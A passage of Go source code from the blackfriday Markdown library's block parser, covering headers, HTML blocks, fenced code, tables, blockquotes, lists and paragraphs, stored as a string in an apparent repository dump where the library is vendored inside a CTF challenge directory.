{\n\t\t\tp.r.HRule(out)\n\t\t\tvar i int\n\t\t\tfor i = 0; data[i] != '\\n'; i++ {\n\t\t\t}\n\t\t\tdata = data[i:]\n\t\t\tcontinue\n\t\t}\n\n\t\t// block quote:\n\t\t//\n\t\t// > A big quote I found somewhere\n\t\t// > on the web\n\t\tif p.quotePrefix(data) > 0 {\n\t\t\tdata = data[p.quote(out, data):]\n\t\t\tcontinue\n\t\t}\n\n\t\t// table:\n\t\t//\n\t\t// Name  | Age | Phone\n\t\t// ------|-----|---------\n\t\t// Bob   | 31  | 555-1234\n\t\t// Alice | 27  | 555-4321\n\t\tif p.flags&EXTENSION_TABLES != 0 {\n\t\t\tif i := p.table(out, data); i > 0 {\n\t\t\t\tdata = data[i:]\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\t// an itemized/unordered list:\n\t\t//\n\t\t// * Item 1\n\t\t// * Item 2\n\t\t//\n\t\t// also works with + or -\n\t\tif p.uliPrefix(data) > 0 {\n\t\t\tdata = data[p.list(out, data, 0):]\n\t\t\tcontinue\n\t\t}\n\n\t\t// a numbered/ordered list:\n\t\t//\n\t\t// 1. Item 1\n\t\t// 2. Item 2\n\t\tif p.oliPrefix(data) > 0 {\n\t\t\tdata = data[p.list(out, data, LIST_TYPE_ORDERED):]\n\t\t\tcontinue\n\t\t}\n\n\t\t// anything else must look like a normal paragraph\n\t\t// note: this finds underlined headers, too\n\t\tdata = data[p.paragraph(out, data):]\n\t}\n\n\tp.nesting--\n}\n\nfunc (p *parser) isPrefixHeader(data []byte) bool {\n\tif data[0] != '#' {\n\t\treturn false\n\t}\n\n\tif p.flags&EXTENSION_SPACE_HEADERS != 0 {\n\t\tlevel := 0\n\t\tfor level < 6 && data[level] == '#' {\n\t\t\tlevel++\n\t\t}\n\t\tif data[level] != ' ' {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc (p *parser) prefixHeader(out *bytes.Buffer, data []byte) int {\n\tlevel := 0\n\tfor level < 6 && data[level] == '#' {\n\t\tlevel++\n\t}\n\ti, end := 0, 0\n\tfor i = level; data[i] == ' '; i++ {\n\t}\n\tfor end = i; data[end] != '\\n'; end++ {\n\t}\n\tskip := end\n\tfor end > 0 && data[end-1] == '#' {\n\t\tend--\n\t}\n\tfor end > 0 && data[end-1] == ' ' {\n\t\tend--\n\t}\n\tif end > i {\n\t\twork := func() bool {\n\t\t\tp.inline(out, data[i:end])\n\t\t\treturn true\n\t\t}\n\t\tp.r.Header(out, work, level)\n\t}\n\treturn skip\n}\n\nfunc (p *parser) isUnderlinedHeader(data []byte) int {\n\t// test of level 1 header\n\tif data[0] == '=' {\n\t\ti := 1\n\t\tfor data[i] == '=' {\n\t\t\ti++\n\t\t}\n\t\tfor data[i] == ' ' {\n\t\t\ti++\n\t\t}\n\t\tif data[i] == '\\n' {\n\t\t\treturn 1\n\t\t} else {\n\t\t\treturn 0\n\t\t}\n\t}\n\n\t// test of level 2 header\n\tif data[0] == '-' {\n\t\ti := 1\n\t\tfor data[i] == '-' {\n\t\t\ti++\n\t\t}\n\t\tfor data[i] == ' ' {\n\t\t\ti++\n\t\t}\n\t\tif data[i] == '\\n' {\n\t\t\treturn 2\n\t\t} else {\n\t\t\treturn 0\n\t\t}\n\t}\n\n\treturn 0\n}\n\nfunc (p *parser) html(out *bytes.Buffer, data []byte, doRender bool) int {\n\tvar i, j int\n\n\t// identify the opening tag\n\tif data[0] != '<' {\n\t\treturn 0\n\t}\n\tcurtag, tagfound := p.htmlFindTag(data[1:])\n\n\t// handle special cases\n\tif !tagfound {\n\t\t// check for an HTML comment\n\t\tif size := p.htmlComment(out, data, doRender); size > 0 {\n\t\t\treturn size\n\t\t}\n\n\t\t// check for an <hr> tag\n\t\tif size := p.htmlHr(out, data, doRender); size > 0 {\n\t\t\treturn size\n\t\t}\n\n\t\t// no special case recognized\n\t\treturn 0\n\t}\n\n\t// look for an unindented matching closing tag\n\t// followed by a blank line\n\tfound := false\n\t/*\n\t\tclosetag := []byte(\"\\n</\" + curtag + \">\")\n\t\tj = len(curtag) + 1\n\t\tfor !found {\n\t\t\t// scan for a closing tag at the beginning of a line\n\t\t\tif skip := bytes.Index(data[j:], closetag); skip >= 0 {\n\t\t\t\tj += skip + len(closetag)\n\t\t\t} else {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\t// see if it is the only thing on the line\n\t\t\tif skip := p.isEmpty(data[j:]); skip > 0 {\n\t\t\t\t// see if it is followed by a blank line/eof\n\t\t\t\tj += skip\n\t\t\t\tif j >= len(data) {\n\t\t\t\t\tfound = true\n\t\t\t\t\ti = j\n\t\t\t\t} else {\n\t\t\t\t\tif skip := p.isEmpty(data[j:]); skip > 0 {\n\t\t\t\t\t\tj += skip\n\t\t\t\t\t\tfound = true\n\t\t\t\t\t\ti = j\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t*/\n\n\t// if not found, try a second pass looking for indented match\n\t// but not if tag is \"ins\" or \"del\" (following original Markdown.pl)\n\tif !found && curtag != \"ins\" && curtag != \"del\" {\n\t\ti = 1\n\t\tfor i < len(data) {\n\t\t\ti++\n\t\t\tfor i < len(data) && !(data[i-1] == '<' && data[i] == '/') {\n\t\t\t\ti++\n\t\t\t}\n\n\t\t\tif i+2+len(curtag) >= len(data) {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tj = p.htmlFindEnd(curtag, data[i-1:])\n\n\t\t\tif j > 0 {\n\t\t\t\ti += j - 1\n\t\t\t\tfound = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tif !found {\n\t\treturn 0\n\t}\n\n\t// the end of the block has been found\n\tif doRender {\n\t\t// trim newlines\n\t\tend := i\n\t\tfor end > 0 && data[end-1] == '\\n' {\n\t\t\tend--\n\t\t}\n\t\tp.r.BlockHtml(out, data[:end])\n\t}\n\n\treturn i\n}\n\n// HTML comment, lax form\nfunc (p *parser) htmlComment(out *bytes.Buffer, data []byte, doRender bool) int {\n\tif data[0] != '<' || data[1] != '!' || data[2] != '-' || data[3] != '-' {\n\t\treturn 0\n\t}\n\n\ti := 5\n\n\t// scan for an end-of-comment marker, across lines if necessary\n\tfor i < len(data) && !(data[i-2] == '-' && data[i-1] == '-' && data[i] == '>') {\n\t\ti++\n\t}\n\ti++\n\n\t// no end-of-comment marker\n\tif i >= len(data) {\n\t\treturn 0\n\t}\n\n\t// needs to end with a blank line\n\tif j := p.isEmpty(data[i:]); j > 0 {\n\t\tsize := i + j\n\t\tif doRender {\n\t\t\t// trim trailing newlines\n\t\t\tend := size\n\t\t\tfor end > 0 && data[end-1] == '\\n' {\n\t\t\t\tend--\n\t\t\t}\n\t\t\tp.r.BlockHtml(out, data[:end])\n\t\t}\n\t\treturn size\n\t}\n\n\treturn 0\n}\n\n// HR, which is the only self-closing block tag considered\nfunc (p *parser) htmlHr(out *bytes.Buffer, data []byte, doRender bool) int {\n\tif data[0] != '<' || (data[1] != 'h' && data[1] != 'H') || (data[2] != 'r' && data[2] != 'R') {\n\t\treturn 0\n\t}\n\tif data[3] != ' ' && data[3] != '/' && data[3] != '>' {\n\t\t// not an <hr> tag after all; at least not a valid one\n\t\treturn 0\n\t}\n\n\ti := 3\n\tfor data[i] != '>' && data[i] != '\\n' {\n\t\ti++\n\t}\n\n\tif data[i] == '>' {\n\t\ti++\n\t\tif j := p.isEmpty(data[i:]); j > 0 {\n\t\t\tsize := i + j\n\t\t\tif doRender {\n\t\t\t\t// trim newlines\n\t\t\t\tend := size\n\t\t\t\tfor end > 0 && data[end-1] == '\\n' {\n\t\t\t\t\tend--\n\t\t\t\t}\n\t\t\t\tp.r.BlockHtml(out, data[:end])\n\t\t\t}\n\t\t\treturn size\n\t\t}\n\t}\n\n\treturn 0\n}\n\nfunc (p *parser) htmlFindTag(data []byte) (string, bool) {\n\ti := 0\n\tfor isalnum(data[i]) {\n\t\ti++\n\t}\n\tkey := string(data[:i])\n\tif p.blockTags[key] {\n\t\treturn key, true\n\t}\n\treturn \"\", false\n}\n\nfunc (p *parser) htmlFindEnd(tag string, data []byte) int {\n\t// assume data[0] == '<' && data[1] == '/' already tested\n\n\t// check if tag is a match\n\tclosetag := []byte(\"</\" + tag + \">\")\n\tif !bytes.HasPrefix(data, closetag) {\n\t\treturn 0\n\t}\n\ti := len(closetag)\n\n\t// check that the rest of the line is blank\n\tskip := 0\n\tif skip = p.isEmpty(data[i:]); skip == 0 {\n\t\treturn 0\n\t}\n\ti += skip\n\tskip = 0\n\n\tif i >= len(data) {\n\t\treturn i\n\t}\n\n\tif p.flags&EXTENSION_LAX_HTML_BLOCKS != 0 {\n\t\treturn i\n\t}\n\tif skip = p.isEmpty(data[i:]); skip == 0 {\n\t\t// following line must be blank\n\t\treturn 0\n\t}\n\n\treturn i + skip\n}\n\nfunc (p *parser) isEmpty(data []byte) int {\n\t// it is okay to call isEmpty on an empty buffer\n\tif len(data) == 0 {\n\t\treturn 0\n\t}\n\n\tvar i int\n\tfor i = 0; i < len(data) && data[i] != '\\n'; i++ {\n\t\tif data[i] != ' ' && data[i] != '\\t' {\n\t\t\treturn 0\n\t\t}\n\t}\n\treturn i + 1\n}\n\nfunc (p *parser) isHRule(data []byte) bool {\n\ti := 0\n\n\t// skip up to three spaces\n\tfor i < 3 && data[i] == ' ' {\n\t\ti++\n\t}\n\n\t// look at the hrule char\n\tif data[i] != '*' && data[i] != '-' && data[i] != '_' {\n\t\treturn false\n\t}\n\tc := data[i]\n\n\t// the whole line must be the char or whitespace\n\tn := 0\n\tfor data[i] != '\\n' {\n\t\tswitch {\n\t\tcase data[i] == c:\n\t\t\tn++\n\t\tcase data[i] != ' ':\n\t\t\treturn false\n\t\t}\n\t\ti++\n\t}\n\n\treturn n >= 3\n}\n\nfunc (p *parser) isFencedCode(data []byte, syntax **string, oldmarker string) (skip int, marker string) {\n\ti, size := 0, 0\n\tskip = 0\n\n\t// skip up to three spaces\n\tfor i < 3 && data[i] == ' ' {\n\t\ti++\n\t}\n\n\t// check for the marker characters: ~ or `\n\tif data[i] != '~' && data[i] != '`' {\n\t\treturn\n\t}\n\n\tc := data[i]\n\n\t// the whole line must be the same char or whitespace\n\tfor data[i] == c {\n\t\tsize++\n\t\ti++\n\t}\n\n\t// the marker char must occur at least 3 times\n\tif size < 3 {\n\t\treturn\n\t}\n\tmarker = string(data[i-size : i])\n\n\t// if this is the end marker, it must match the beginning marker\n\tif oldmarker != \"\" && marker != oldmarker {\n\t\treturn\n\t}\n\n\tif syntax != nil {\n\t\tsyn := 0\n\n\t\tfor data[i] == ' ' {\n\t\t\ti++\n\t\t}\n\n\t\tsyntaxStart := i\n\n\t\tif data[i] == '{' {\n\t\t\ti++\n\t\t\tsyntaxStart++\n\n\t\t\tfor data[i] != '}' && data[i] != '\\n' {\n\t\t\t\tsyn++\n\t\t\t\ti++\n\t\t\t}\n\n\t\t\tif data[i] != '}' {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// strip all whitespace at the beginning and the end\n\t\t\t// of the {} block\n\t\t\tfor syn > 0 && isspace(data[syntaxStart]) {\n\t\t\t\tsyntaxStart++\n\t\t\t\tsyn--\n\t\t\t}\n\n\t\t\tfor syn > 0 && isspace(data[syntaxStart+syn-1]) {\n\t\t\t\tsyn--\n\t\t\t}\n\n\t\t\ti++\n\t\t} else {\n\t\t\tfor !isspace(data[i]) {\n\t\t\t\tsyn++\n\t\t\t\ti++\n\t\t\t}\n\t\t}\n\n\t\tlanguage := string(data[syntaxStart : syntaxStart+syn])\n\t\t*syntax = &language\n\t}\n\n\tfor data[i] == ' ' {\n\t\ti++\n\t}\n\tif data[i] != '\\n' {\n\t\treturn\n\t}\n\n\tskip = i + 1\n\treturn\n}\n\nfunc (p *parser) fencedCode(out *bytes.Buffer, data []byte) int {\n\tvar lang *string\n\tbeg, marker := p.isFencedCode(data, &lang, \"\")\n\tif beg == 0 || beg >= len(data) {\n\t\treturn 0\n\t}\n\n\tvar work bytes.Buffer\n\n\tfor {\n\t\t// safe to assume beg < len(data)\n\n\t\t// check for the end of the code block\n\t\tfenceEnd, _ := p.isFencedCode(data[beg:], nil, marker)\n\t\tif fenceEnd != 0 {\n\t\t\tbeg += fenceEnd\n\t\t\tbreak\n\t\t}\n\n\t\t// copy the current line\n\t\tend := beg\n\t\tfor data[end] != '\\n' {\n\t\t\tend++\n\t\t}\n\t\tend++\n\n\t\t// did we reach the end of the buffer without a closing marker?\n\t\tif end >= len(data) {\n\t\t\treturn 0\n\t\t}\n\n\t\t// verbatim copy to the working buffer\n\t\twork.Write(data[beg:end])\n\t\tbeg = end\n\t}\n\n\tsyntax := \"\"\n\tif lang != nil {\n\t\tsyntax = *lang\n\t}\n\n\tp.r.BlockCode(out, work.Bytes(), syntax)\n\n\treturn beg\n}\n\nfunc (p *parser) table(out *bytes.Buffer, data []byte) int {\n\tvar header bytes.Buffer\n\ti, columns := p.tableHeader(&header, data)\n\tif i == 0 {\n\t\treturn 0\n\t}\n\n\tvar body bytes.Buffer\n\n\tfor i < len(data) {\n\t\tpipes, rowStart := 0, i\n\t\tfor ; data[i] != '\\n'; i++ {\n\t\t\tif data[i] == '|' {\n\t\t\t\tpipes++\n\t\t\t}\n\t\t}\n\n\t\tif pipes == 0 {\n\t\t\ti = rowStart\n\t\t\tbreak\n\t\t}\n\n\t\t// include the newline in data sent to tableRow\n\t\ti++\n\t\tp.tableRow(&body, data[rowStart:i], columns)\n\t}\n\n\tp.r.Table(out, header.Bytes(), body.Bytes(), columns)\n\n\treturn i\n}\n\n// check if the specified position is preceeded by an odd number of backslashes\nfunc isBackslashEscaped(data []byte, i int) bool {\n\tbackslashes := 0\n\tfor i-backslashes-1 >= 0 && data[i-backslashes-1] == '\\\\' {\n\t\tbackslashes++\n\t}\n\treturn backslashes&1 == 1\n}\n\nfunc (p *parser) tableHeader(out *bytes.Buffer, data []byte) (size int, columns []int) {\n\ti := 0\n\tcolCount := 1\n\tfor i = 0; data[i] != '\\n'; i++ {\n\t\tif data[i] == '|' && !isBackslashEscaped(data, i) {\n\t\t\tcolCount++\n\t\t}\n\t}\n\n\t// doesn't look like a table header\n\tif colCount == 1 {\n\t\treturn\n\t}\n\n\t// include the newline in the data sent to tableRow\n\theader := data[:i+1]\n\n\t// column count ignores pipes at beginning or end of line\n\tif data[0] == '|' {\n\t\tcolCount--\n\t}\n\tif i > 2 && data[i-1] == '|' && !isBackslashEscaped(data, i-1) {\n\t\tcolCount--\n\t}\n\n\tcolumns = make([]int, colCount)\n\n\t// move on to the header underline\n\ti++\n\tif i >= len(data) {\n\t\treturn\n\t}\n\n\tif data[i] == '|' && !isBackslashEscaped(data, i) {\n\t\ti++\n\t}\n\tfor data[i] == ' ' {\n\t\ti++\n\t}\n\n\t// each column header is of form: / *:?-+:? *|/ with # dashes + # colons >= 3\n\t// and trailing | optional on last column\n\tcol := 0\n\tfor data[i] != '\\n' {\n\t\tdashes := 0\n\n\t\tif data[i] == ':' {\n\t\t\ti++\n\t\t\tcolumns[col] |= TABLE_ALIGNMENT_LEFT\n\t\t\tdashes++\n\t\t}\n\t\tfor data[i] == '-' {\n\t\t\ti++\n\t\t\tdashes++\n\t\t}\n\t\tif data[i] == ':' {\n\t\t\ti++\n\t\t\tcolumns[col] |= TABLE_ALIGNMENT_RIGHT\n\t\t\tdashes++\n\t\t}\n\t\tfor data[i] == ' ' {\n\t\t\ti++\n\t\t}\n\n\t\t// end of column test is messy\n\t\tswitch {\n\t\tcase dashes < 3:\n\t\t\t// not a valid column\n\t\t\treturn\n\n\t\tcase data[i] == '|' && !isBackslashEscaped(data, i):\n\t\t\t// marker found, now skip past trailing whitespace\n\t\t\tcol++\n\t\t\ti++\n\t\t\tfor data[i] == ' ' {\n\t\t\t\ti++\n\t\t\t}\n\n\t\t\t// trailing junk found after last column\n\t\t\tif col >= colCount && data[i] != '\\n' {\n\t\t\t\treturn\n\t\t\t}\n\n\t\tcase (data[i] != '|' || isBackslashEscaped(data, i)) && col+1 < colCount:\n\t\t\t// something else found where marker was required\n\t\t\treturn\n\n\t\tcase data[i] == '\\n':\n\t\t\t// marker is optional for the last column\n\t\t\tcol++\n\n\t\tdefault:\n\t\t\t// trailing junk found after last column\n\t\t\treturn\n\t\t}\n\t}\n\tif col != colCount {\n\t\treturn\n\t}\n\n\tp.tableRow(out, header, columns)\n\tsize = i + 1\n\treturn\n}\n\nfunc (p *parser) tableRow(out *bytes.Buffer, data []byte, columns []int) {\n\ti, col := 0, 0\n\tvar rowWork bytes.Buffer\n\n\tif data[i] == '|' && !isBackslashEscaped(data, i) {\n\t\ti++\n\t}\n\n\tfor col = 0; col < len(columns) && i < len(data); col++ {\n\t\tfor data[i] == ' ' {\n\t\t\ti++\n\t\t}\n\n\t\tcellStart := i\n\n\t\tfor (data[i] != '|' || isBackslashEscaped(data, i)) && data[i] != '\\n' {\n\t\t\ti++\n\t\t}\n\n\t\tcellEnd := i\n\n\t\t// skip the end-of-cell marker, possibly taking us past end of buffer\n\t\ti++\n\n\t\tfor cellEnd > cellStart && data[cellEnd-1] == ' ' {\n\t\t\tcellEnd--\n\t\t}\n\n\t\tvar cellWork bytes.Buffer\n\t\tp.inline(&cellWork, data[cellStart:cellEnd])\n\t\tp.r.TableCell(&rowWork, cellWork.Bytes(), columns[col])\n\t}\n\n\t// pad it out with empty columns to get the right number\n\tfor ; col < len(columns); col++ {\n\t\tp.r.TableCell(&rowWork, nil, columns[col])\n\t}\n\n\t// silently ignore rows with too many cells\n\n\tp.r.TableRow(out, rowWork.Bytes())\n}\n\n// returns blockquote prefix length\nfunc (p *parser) quotePrefix(data []byte) int {\n\ti := 0\n\tfor i < 3 && data[i] == ' ' {\n\t\ti++\n\t}\n\tif data[i] == '>' {\n\t\tif data[i+1] == ' ' {\n\t\t\treturn i + 2\n\t\t}\n\t\treturn i + 1\n\t}\n\treturn 0\n}\n\n// parse a blockquote fragment\nfunc (p *parser) quote(out *bytes.Buffer, data []byte) int {\n\tvar raw bytes.Buffer\n\tbeg, end := 0, 0\n\tfor beg < len(data) {\n\t\tend = beg\n\t\tfor data[end] != '\\n' {\n\t\t\tend++\n\t\t}\n\t\tend++\n\n\t\tif pre := p.quotePrefix(data[beg:]); pre > 0 {\n\t\t\t// skip the prefix\n\t\t\tbeg += pre\n\t\t} else if p.isEmpty(data[beg:]) > 0 &&\n\t\t\t(end >= len(data) ||\n\t\t\t\t(p.quotePrefix(data[end:]) == 0 && p.isEmpty(data[end:]) == 0)) {\n\t\t\t// blockquote ends with at least one blank line\n\t\t\t// followed by something without a blockquote prefix\n\t\t\tbreak\n\t\t}\n\n\t\t// this line is part of the blockquote\n\t\traw.Write(data[beg:end])\n\t\tbeg = end\n\t}\n\n\tvar cooked bytes.Buffer\n\tp.block(&cooked, raw.Bytes())\n\tp.r.BlockQuote(out, cooked.Bytes())\n\treturn end\n}\n\n// returns prefix length for block code\nfunc (p *parser) codePrefix(data []byte) int {\n\tif data[0] == ' ' && data[1] == ' ' && data[2] == ' ' && data[3] == ' ' {\n\t\treturn 4\n\t}\n\treturn 0\n}\n\nfunc (p *parser) code(out *bytes.Buffer, data []byte) int {\n\tvar work bytes.Buffer\n\n\ti := 0\n\tfor i < len(data) {\n\t\tbeg := i\n\t\tfor data[i] != '\\n' {\n\t\t\ti++\n\t\t}\n\t\ti++\n\n\t\tblankline := p.isEmpty(data[beg:i]) > 0\n\t\tif pre := p.codePrefix(data[beg:i]); pre > 0 {\n\t\t\tbeg += pre\n\t\t} else if !blankline {\n\t\t\t// non-empty, non-prefixed line breaks the pre\n\t\t\ti = beg\n\t\t\tbreak\n\t\t}\n\n\t\t// verbatim copy to the working buffeu\n\t\tif blankline {\n\t\t\twork.WriteByte('\\n')\n\t\t} else {\n\t\t\twork.Write(data[beg:i])\n\t\t}\n\t}\n\n\t// trim all the \\n off the end of work\n\tworkbytes := work.Bytes()\n\teol := len(workbytes)\n\tfor eol > 0 && workbytes[eol-1] == '\\n' {\n\t\teol--\n\t}\n\tif eol != len(workbytes) {\n\t\twork.Truncate(eol)\n\t}\n\n\twork.WriteByte('\\n')\n\n\tp.r.BlockCode(out, work.Bytes(), \"\")\n\n\treturn i\n}\n\n// returns unordered list item prefix\nfunc (p *parser) uliPrefix(data []byte) int {\n\ti := 0\n\n\t// start with up to 3 spaces\n\tfor i < 3 && data[i] == ' ' {\n\t\ti++\n\t}\n\n\t// need a *, +, or - followed by a space\n\tif (data[i] != '*' && data[i] != '+' && data[i] != '-') ||\n\t\tdata[i+1] != ' ' {\n\t\treturn 0\n\t}\n\treturn i + 2\n}\n\n// returns ordered list item prefix\nfunc (p *parser) oliPrefix(data []byte) int {\n\ti := 0\n\n\t// start with up to 3 spaces\n\tfor i < 3 && data[i] == ' ' {\n\t\ti++\n\t}\n\n\t// count the digits\n\tstart := i\n\tfor data[i] >= '0' && data[i] <= '9' {\n\t\ti++\n\t}\n\n\t// we need >= 1 digits followed by a dot and a space\n\tif start == i || data[i] != '.' || data[i+1] != ' ' {\n\t\treturn 0\n\t}\n\treturn i + 2\n}\n\n// parse ordered or unordered list block\nfunc (p *parser) list(out *bytes.Buffer, data []byte, flags int) int {\n\ti := 0\n\tflags |= LIST_ITEM_BEGINNING_OF_LIST\n\twork := func() bool {\n\t\tfor i < len(data) {\n\t\t\tskip := p.listItem(out, data[i:], &flags)\n\t\t\ti += skip\n\n\t\t\tif skip == 0 || flags&LIST_ITEM_END_OF_LIST != 0 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tflags &= ^LIST_ITEM_BEGINNING_OF_LIST\n\t\t}\n\t\treturn true\n\t}\n\n\tp.r.List(out, work, flags)\n\treturn i\n}\n\n// Parse a single list item.\n// Assumes initial prefix is already removed if this is a sublist.\nfunc (p *parser) listItem(out *bytes.Buffer, data []byte, flags *int) int {\n\t// keep track of the indentation of the first line\n\titemIndent := 0\n\tfor itemIndent < 3 && data[itemIndent] == ' ' {\n\t\titemIndent++\n\t}\n\n\ti := p.uliPrefix(data)\n\tif i == 0 {\n\t\ti = p.oliPrefix(data)\n\t}\n\tif i == 0 {\n\t\treturn 0\n\t}\n\n\t// skip leading whitespace on first line\n\tfor data[i] == ' ' {\n\t\ti++\n\t}\n\n\t// find the end of the line\n\tline := i\n\tfor data[i-1] != '\\n' {\n\t\ti++\n\t}\n\n\t// get working buffer\n\tvar raw bytes.Buffer\n\n\t// put the first line into the working buffer\n\traw.Write(data[line:i])\n\tline = i\n\n\t// process the following lines\n\tcontainsBlankLine := false\n\tsublist := 0\n\ngatherlines:\n\tfor line < len(data) {\n\t\ti++\n\n\t\t// find the end of this line\n\t\tfor data[i-1] != '\\n' {\n\t\t\ti++\n\t\t}\n\n\t\t// if it is an empty line, guess that it is part of this item\n\t\t// and move on to the next line\n\t\tif p.isEmpty(data[line:i]) > 0 {\n\t\t\tcontainsBlankLine = true\n\t\t\tline = i\n\t\t\tcontinue\n\t\t}\n\n\t\t// calculate the indentation\n\t\tindent := 0\n\t\tfor indent < 4 && line+indent < i && data[line+indent] == ' ' {\n\t\t\tindent++\n\t\t}\n\n\t\tchunk := data[line+indent : i]\n\n\t\t// evaluate how this line fits in\n\t\tswitch {\n\t\t// is this a nested list item?\n\t\tcase (p.uliPrefix(chunk) > 0 && !p.isHRule(chunk)) ||\n\t\t\tp.oliPrefix(chunk) > 0:\n\n\t\t\tif containsBlankLine {\n\t\t\t\t*flags |= LIST_ITEM_CONTAINS_BLOCK\n\t\t\t}\n\n\t\t\t// to be a nested list, it must be indented more\n\t\t\t// if not, it is the next item in the same list\n\t\t\tif indent <= itemIndent {\n\t\t\t\tbreak gatherlines\n\t\t\t}\n\n\t\t\t// is this the first item in the the nested list?\n\t\t\tif sublist == 0 {\n\t\t\t\tsublist = raw.Len()\n\t\t\t}\n\n\t\t// is this a nested prefix header?\n\t\tcase p.isPrefixHeader(chunk):\n\t\t\t// if the header is not indented, it is not nested in the list\n\t\t\t// and thus ends the list\n\t\t\tif containsBlankLine && indent < 4 {\n\t\t\t\t*flags |= LIST_ITEM_END_OF_LIST\n\t\t\t\tbreak gatherlines\n\t\t\t}\n\t\t\t*flags |= LIST_ITEM_CONTAINS_BLOCK\n\n\t\t// anything following an empty line is only part\n\t\t// of this item if it is indented 4 spaces\n\t\t// (regardless of the indentation of the beginning of the item)\n\t\tcase containsBlankLine && indent < 4:\n\t\t\t*flags |= LIST_ITEM_END_OF_LIST\n\t\t\tbreak gatherlines\n\n\t\t// a blank line means this should be parsed as a block\n\t\tcase containsBlankLine:\n\t\t\traw.WriteByte('\\n')\n\t\t\t*flags |= LIST_ITEM_CONTAINS_BLOCK\n\t\t}\n\n\t\t// if this line was preceeded by one or more blanks,\n\t\t// re-introduce the blank into the buffer\n\t\tif containsBlankLine {\n\t\t\tcontainsBlankLine = false\n\t\t\traw.WriteByte('\\n')\n\t\t}\n\n\t\t// add the line into the working buffer without prefix\n\t\traw.Write(data[line+indent : i])\n\n\t\tline = i\n\t}\n\n\trawBytes := raw.Bytes()\n\n\t// render the contents of the list item\n\tvar cooked bytes.Buffer\n\tif *flags&LIST_ITEM_CONTAINS_BLOCK != 0 {\n\t\t// intermediate render of block li\n\t\tif sublist > 0 {\n\t\t\tp.block(&cooked, rawBytes[:sublist])\n\t\t\tp.block(&cooked, rawBytes[sublist:])\n\t\t} else {\n\t\t\tp.block(&cooked, rawBytes)\n\t\t}\n\t} else {\n\t\t// intermediate render of inline li\n\t\tif sublist > 0 {\n\t\t\tp.inline(&cooked, rawBytes[:sublist])\n\t\t\tp.block(&cooked, rawBytes[sublist:])\n\t\t} else {\n\t\t\tp.inline(&cooked, rawBytes)\n\t\t}\n\t}\n\n\t// render the actual list item\n\tcookedBytes := cooked.Bytes()\n\tparsedEnd := len(cookedBytes)\n\n\t// strip trailing newlines\n\tfor parsedEnd > 0 && cookedBytes[parsedEnd-1] == '\\n' {\n\t\tparsedEnd--\n\t}\n\tp.r.ListItem(out, cookedBytes[:parsedEnd], *flags)\n\n\treturn line\n}\n\n// render a single paragraph that has already been parsed out\nfunc (p *parser) renderParagraph(out *bytes.Buffer, data []byte) {\n\tif len(data) == 0 {\n\t\treturn\n\t}\n\n\t// trim leading spaces\n\tbeg := 0\n\tfor data[beg] == ' ' {\n\t\tbeg++\n\t}\n\n\t// trim trailing newline\n\tend := len(data) - 1\n\n\t// trim trailing spaces\n\tfor end > beg && data[end-1] == ' ' {\n\t\tend--\n\t}\n\n\twork := func() bool {\n\t\tp.inline(out, data[beg:end])\n\t\treturn true\n\t}\n\tp.r.Paragraph(out, work)\n}\n\nfunc (p *parser) paragraph(out *bytes.Buffer, data []byte) int {\n\t// prev: index of 1st char of previous line\n\t// line: index of 1st char of current line\n\t// i: index of cursor/end of current line\n\tvar prev, line, i int\n\n\t// keep going until we find something to mark the end of the paragraph\n\tfor i < len(data) {\n\t\t// mark the beginning of the current line\n\t\tprev = line\n\t\tcurrent := data[i:]\n\t\tline = i\n\n\t\t// did we find a blank line marking the end of the paragraph?\n\t\tif n := p.isEmpty(current); n > 0 {\n\t\t\tp.renderParagraph(out, data[:i])\n\t\t\treturn i + n\n\t\t}\n\n\t\t// an underline under some text marks a header, so our paragraph ended on prev line\n\t\tif i > 0 {\n\t\t\tif level := p.isUnderlinedHeader(current); level > 0 {\n\t\t\t\t// render the paragraph\n\t\t\t\tp.renderParagraph(out, data[:prev])\n\n\t\t\t\t// ignore leading and trailing whitespace\n\t\t\t\teol := i - 1\n\t\t\t\tfor prev < eol && data[prev] == ' ' {\n\t\t\t\t\tprev++\n\t\t\t\t}\n\t\t\t\tfor eol > prev && data[eol-1] == ' ' {\n\t\t\t\t\teol--\n\t\t\t\t}\n\n\t\t\t\t// render the header\n\t\t\t\t// this ugly double closure avoids forcing variables onto the heap\n\t\t\t\twork := func(o *bytes.Buffer, pp *parser, d []byte) func() bool {\n\t\t\t\t\treturn func() bool {\n\t\t\t\t\t\tpp.inline(o, d)\n\t\t\t\t\t\treturn true\n\t\t\t\t\t}\n\t\t\t\t}(out, p, data[prev:eol])\n\t\t\t\tp.r.Header(out, work, level)\n\n\t\t\t\t// find the end of the underline\n\t\t\t\tfor data[i] != '\\n' {\n\t\t\t\t\ti++\n\t\t\t\t}\n\t\t\t\treturn i\n\t\t\t}\n\t\t}\n\n\t\t// if the next line starts a block of HTML, then the paragraph ends here\n\t\tif p.flags&EXTENSION_LAX_HTML_BLOCKS != 0 {\n\t\t\tif data[i] == '<' && p.html(out, current, false) > 0 {\n\t\t\t\t// rewind to before the HTML block\n\t\t\t\tp.renderParagraph(out, data[:i])\n\t\t\t\treturn i\n\t\t\t}\n\t\t}\n\n\t\t// if there's a prefixed header or a horizontal rule after this, paragraph is over\n\t\tif p.isPrefixHeader(current) || p.isHRule(current) {\n\t\t\tp.renderParagraph(out, data[:i])\n\t\t\treturn i\n\t\t}\n\n\t\t// if there's a list after this, paragraph is over\n\t\tif p.flags&EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK != 0 {\n\t\t\tif p.uliPrefix(current) != 0 ||\n\t\t\t\tp.oliPrefix(current) != 0 ||\n\t\t\t\tp.quotePrefix(current) != 0 ||\n\t\t\t\tp.codePrefix(current) != 0 {\n\t\t\t\tp.renderParagraph(out, data[:i])\n\t\t\t\treturn i\n\t\t\t}\n\t\t}\n\n\t\t// otherwise, scan to the beginning of the next line\n\t\tfor data[i] != '\\n' {\n\t\t\ti++\n\t\t}\n\t\ti++\n\t}\n\n\tp.renderParagraph(out, data[:i])\n\treturn i\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/block_test.go",
